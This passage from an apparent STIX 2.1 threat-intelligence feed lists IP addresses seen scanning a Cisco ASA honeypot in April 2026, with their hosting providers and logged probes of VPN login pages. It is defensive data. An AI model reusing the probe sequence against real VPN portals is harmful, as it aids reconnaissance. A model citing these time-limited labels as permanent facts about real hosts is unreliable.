      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 28,
          "first_seen": "2026-04-13T01:57:23.056Z",
          "last_seen": "2026-04-15T04:29:09.195Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--3cb14d39-ad15-4a2d-a507-9275c1bd820c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.20.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-13T01:33:57.611Z",
          "last_seen": "2026-04-15T04:46:41.381Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--1304cefe-9c5d-4a63-85b5-86447fccfd29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.121.80.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 37,
          "first_seen": "2026-04-13T02:01:36.427Z",
          "last_seen": "2026-04-13T17:37:35.489Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--9388fbf0-ca05-40a6-892e-be7b3e3437e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.160.218.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 46,
          "first_seen": "2026-04-13T01:52:22.863Z",
          "last_seen": "2026-04-14T01:31:26.136Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--c1b612ce-255f-4078-b268-1ab962620b77",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.59.12.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 31,
          "first_seen": "2026-04-13T02:02:52.551Z",
          "last_seen": "2026-04-15T03:27:55.738Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ea6f14d9-99c8-4255-b495-bc1e41ba2184",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.140.255.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T01:33:15.828Z",
          "last_seen": "2026-04-13T01:33:41.843Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--64335ecf-a3fe-429a-b305-eca8016edee0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.146.26.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 29,
          "first_seen": "2026-04-13T01:28:33.243Z",
          "last_seen": "2026-04-15T03:09:33.539Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--888ef0b9-e31d-491b-820e-f1a5297b4ada",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.242.237.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T02:00:01.548Z",
          "last_seen": "2026-04-13T12:15:56.292Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--58f26ed3-94c1-4601-8a73-a117e86a78c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.49.61.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 29,
          "first_seen": "2026-04-13T02:26:44.515Z",
          "last_seen": "2026-04-15T05:29:10.300Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--51b72439-76d5-4f93-a259-c20cf339b280",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.249.206.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 28,
          "first_seen": "2026-04-13T02:30:24.194Z",
          "last_seen": "2026-04-13T11:46:27.782Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--315745f8-2b93-4926-b53f-6612a9653fa5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.213.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T02:53:59.536Z",
          "last_seen": "2026-04-13T06:12:27.542Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--ad56809d-313e-4663-9b3c-bd2c2bc18c4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.171.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-13T03:01:18.470Z",
          "last_seen": "2026-04-13T06:57:59.192Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1a9a96ed-8517-47f3-9ba3-a5afb733b202",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '156.233.103.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T02:37:13.032Z",
          "last_seen": "2026-04-13T11:20:51.348Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a43e37aa-bcf7-4504-acd9-dcc325c80e24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.168.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T02:27:11.049Z",
          "last_seen": "2026-04-14T01:29:31.749Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--6076b333-2dd0-45c6-9c84-24ede07a678b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.196.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-13T03:12:38.416Z",
          "last_seen": "2026-04-15T07:29:01.549Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--cc92c0cb-02ab-44e0-a0c0-f823b71adef6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.163.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T02:55:47.600Z",
          "last_seen": "2026-04-13T14:44:30.795Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--6ff4411c-69b2-4f2e-a6b4-fc782a701b2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.169.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T02:55:51.811Z",
          "last_seen": "2026-04-13T03:02:02.635Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--b52d326f-a6b7-4f82-8362-fb579e641798",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.177.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T02:31:21.635Z",
          "last_seen": "2026-04-13T02:31:32.696Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--05135be1-00f6-411d-a807-c04e78c580ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.100.149.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-13T02:26:49.636Z",
          "last_seen": "2026-04-15T01:33:18.115Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b6c9f0f2-b924-410c-83b7-6d4243c42834",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.94.67.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-13T03:12:29.258Z",
          "last_seen": "2026-04-15T02:19:04.832Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
